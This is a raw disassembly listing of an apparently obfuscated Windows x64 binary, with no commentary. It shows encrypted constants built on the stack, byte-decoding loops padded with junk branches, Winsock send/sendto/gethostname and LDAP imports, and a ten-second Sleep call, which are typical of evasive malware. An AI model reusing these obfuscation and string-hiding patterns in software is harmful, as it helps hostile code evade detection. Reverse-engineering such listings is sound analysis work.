mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x140215c62
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14021663d
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x14021665c
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
jmp 0x14021665f
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x140216692
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1402166bc
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x64
mov byte [rbp + rbx - 0x40], dl
inc rbx
jmp 0x140215c62
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
cmp r9, 8
jb 0x1402160a4
lea ecx, [r10 - 8]
movzx eax, cl
and al, r11b
mov edx, Ordinal_32
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1402165db
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x34
cmp r8, 0x5a
jae 0x14021650b
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140216436
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1402160c5
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x140216527
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14021635f
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x1402160ff
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, ntohl
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1402166bc
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140216692
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14021665f
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14021665c
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
dec rbx
inc rbx
jmp 0x140215c62
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140215c62
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1402165db
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1402162ae
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140216145
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1402162e5
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
inc rax
cmp r8, rax
jne 0x140216309
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x1402166bc
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14021632c
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x14021663d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140216145
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x140215c62
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140216382
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x1402165db
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402163b1
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x140215c62
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1402163da
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14021665c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1402163ff
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
jmp 0x1402166bc
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1402160ff
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x34
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14021646d
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
inc rax
cmp r8, rax
jne 0x140216491
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x1402166bc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402164b6
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x14021665c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1402164e1
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
dec rbx
inc rbx
jmp 0x140215c62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402160c5
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1402165db
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x10
add cl, cl
add dl, cl
jmp 0x14021663d
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
jmp 0x140216690
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x24
jmp 0x140216692
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x140215c62
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x140215c62
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1402165db
movzx r10d, bl
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x64
add r10b, 0xc
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x54
add r11b, r10b
mov byte [rbp + rbx - 0x40], r11b
inc r9
dec rbx
inc rbx
jmp 0x140215c62
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x34
dec rbx
inc rbx
jmp 0x140215c62
movzx r10d, bl
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x40], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140215c62
lea rcx, [rbx + r15]
and dil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_22
sub al, dil
lea edx, [rax + rax]
add dl, r11b
movzx r10d, bl
add dl, cl
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x40], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x70]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x10
add r11b, cl
mov byte [rbp + rbx - 0x40], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
lea rcx, [rbx + r14]
and dil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140215c62
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140215c60
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140215c50
lea rdx, [rbp + 0x15ce530]
jmp 0x140216779
lea rdx, [rbp + 0x1118744]
jmp 0x140216779
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.1400499a0
mov rcx, rax
call fcn.140218980
mov dword [rsp + 0x30], 0xe2e4c3f3
mov dword [rsp + 0x34], 0xe181311
mov dword [rsp + 0x38], 0xd6dc3407
mov dword [rsp + 0x3c], 0x20303039
mov dword [rsp + 0x40], 0xd7fafc29
mov dword [rsp + 0x44], 0x39273f2e
mov dword [rsp + 0x48], 0xcf252329
mov dword [rsp + 0x4c], 0x2724363d
mov dword [rsp + 0x50], 0x3cf62b31
mov dword [rsp + 0x54], 0xdafc3a22
mov dword [rsp + 0x58], 0x48b9bde4
mov dword [rsp + 0x5c], 0x5e55414c
mov dword [rsp + 0x60], 0x50bdb553
mov dword [rsp + 0x64], 0x404b595f
mov dword [rsp + 0x68], 0x57ac839b
mov dword [rsp + 0x6c], 0x50425e40
mov dword [rsp + 0x70], 0x4ea44c44
mov dword [rsp + 0x74], 0x58484841
mov dword [rsp + 0x78], 0x7875af51
mov word [rsp + 0x7c], 0xc577
xor eax, eax
mov dword [rsp + 0x7e], eax
mov word [rbp - 0x7e], ax
movabs rsi, 0xf5dadbd2db162217
movabs r12, 0xb8fc02c3fd9aeea1
movabs r15, 0xcd464b1e476eaa73
movabs r14, 0xe190937891426645
movzx ebx, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1404e35f8]
mov r9, qword [0x1404e35f0]
nop
xor edi, edi
cmp rdi, 0x54
jae 0x14021739a
movzx r11d, byte [rsp + rdi + 0x30]
mov edx, r11d
cmp r8, rdi
ja 0x140217391
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1402168c0
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x5f
jmp 0x140216906
je 0x140217329
inc rax
cmp r8, rax
je 0x1402172d7
lea rax, [r9 + 2]
cmp r8, rax
je 0x140217295
lea rax, [r9 + 4]
cmp r8, rax
je 0x140217266
lea rax, [r9 + 5]
cmp r8, rax
je 0x14021722c
lea rax, [r9 + 8]
cmp r8, rax
je 0x1402171e9
movzx r10d, dil
nop word [rax + rax]
cmp r9, rdi
ja 0x140217388
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x140216939
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x35
jmp 0x140216980
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402171d2
inc rax
cmp r8, rax
je 0x1402171ad
lea rax, [r9 + 3]
cmp r8, rax
je 0x14021718b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14021716f
lea rax, [r9 + 2]
cmp r8, rax
je 0x140217145
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140216e9a
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140216e80
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140216e5b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140216e35
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140216e17
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140216dfb
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140216ddf
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140216dc1
lea rax, [r9 + 3]
cmp r8, rax
je 0x140216da1
lea rax, [r9 + 6]
cmp r8, rax
je 0x140216d77
lea r8, [r9 + 0x42]
lea r9, [r8 + 3]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14021736c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140217350
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140216b64
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140216b4a
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140216b30
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140216d30
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140216ce9
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140216cae
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140216c8b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140216990
lea r8, [r9 + 9]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140216c5d
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140216c3d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140216c23
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140216c03
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140216be5
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140216bc3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140216b9e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140216b80
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140216990
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 8]
jmp 0x140216990
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x6b
jmp 0x140216980
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x29
jmp 0x140216910
add r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x19
jmp 0x140216895
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140217202
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x66
inc r9
dec rdi
inc rdi
jmp 0x140216882
sub r10b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x24
dec rdi
inc rdi
jmp 0x140216882
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140217245
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14021727a
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1c
jmp 0x1402172ac
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1402172eb
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
add r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x73
mov byte [rsp + rdi + 0x30], bl
inc rdi
jmp 0x140216882
lea ecx, [r10 + 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x31
cmp r9, 0x1000
jb 0x140216ca2
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea ebx, [rcx*2 - 0x4c]
jmp 0x140217202
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x11
cmp r8, 0x10
jae 0x14021710d
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140217062
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140216cc3
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x53
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14021712a
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140216f95
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5d
jmp 0x140216cfe
add r10b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3e
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
add r10b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1402172eb
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1402172ac
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
jmp 0x14021727d
sub r10b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x36
jmp 0x14021727a
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140217245
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x140216882
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
inc r9
dec rdi
inc rdi
jmp 0x140216882
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2e
jmp 0x140217202
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140216ec0
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x5f
jmp 0x140216d45
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140216ef3
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140216f1a
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1402172ac
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140216f3f
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x72
jmp 0x14021727a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140216f6e
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x140216882
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140216d45
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7a
jmp 0x140217202
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140216fb8
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x61
jmp 0x140217202
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140216fe3
add r10b, 5
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x23
dec rdi
inc rdi
jmp 0x140216882
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140217006
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x65
jmp 0x140217245
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14021702b
add r10b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x59
jmp 0x14021727a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140216cfe
add r10b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x51
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140217099
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
inc rax
cmp r8, rax
jne 0x1402170bd
sub r10b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x16
jmp 0x1402172eb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402170e6
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14021727a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140216cc3
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1e
jmp 0x140217245
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x68
add bl, r11b
jmp 0x140217245
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1402172ac
sub r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x79
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
sub r10b, 0x37
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7f
jmp 0x14021727a
add r10b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 5
dec rdi
inc rdi
jmp 0x140216882
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x47
inc r9
dec rdi
inc rdi
jmp 0x140216882
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x77
jmp 0x140217202
movzx r10d, dil
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0xd
add r10b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x39
add r10b, r11b
mov byte [rsp + rdi + 0x30], r10b
inc r9
dec rdi
inc rdi
jmp 0x140216882
movzx r10d, dil
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2d
add r10b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 9
add r10b, bl
add r10b, r11b
mov byte [rsp + rdi + 0x30], r10b
jmp 0x14021727a
lea ecx, [rdi - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x15
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140216882
lea rcx, [rdi + r12]
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
sub bl, 0x67
add bl, cl
movzx r10d, dil
sub r10b, 0x63
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4b
add cl, r10b
movzx eax, cl
mov byte [rsp + rdi + 0x30], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1402172eb
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x25
lea edx, [rdi - 0x4c]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + rdi + 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x1d
movzx eax, byte [rsp + rdi + 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140216882
sub r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x5b
jmp 0x140216880
sub r10b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x63
jmp 0x140216870
lea rdx, [rbp + 0x15ee6a4]
jmp 0x14021739f
lea rdx, [rbp + 0xf508bb]
jmp 0x14021739f
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x150]
call fcn.1400499a0
mov rcx, rax
call fcn.140218980
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x70], 0x22381b13
mov dword [rbp + 0x74], 0xde2cdbd5
mov dword [rbp + 0x78], 0x3620d8c7
mov dword [rbp + 0x7c], 0xdcd4d4cd
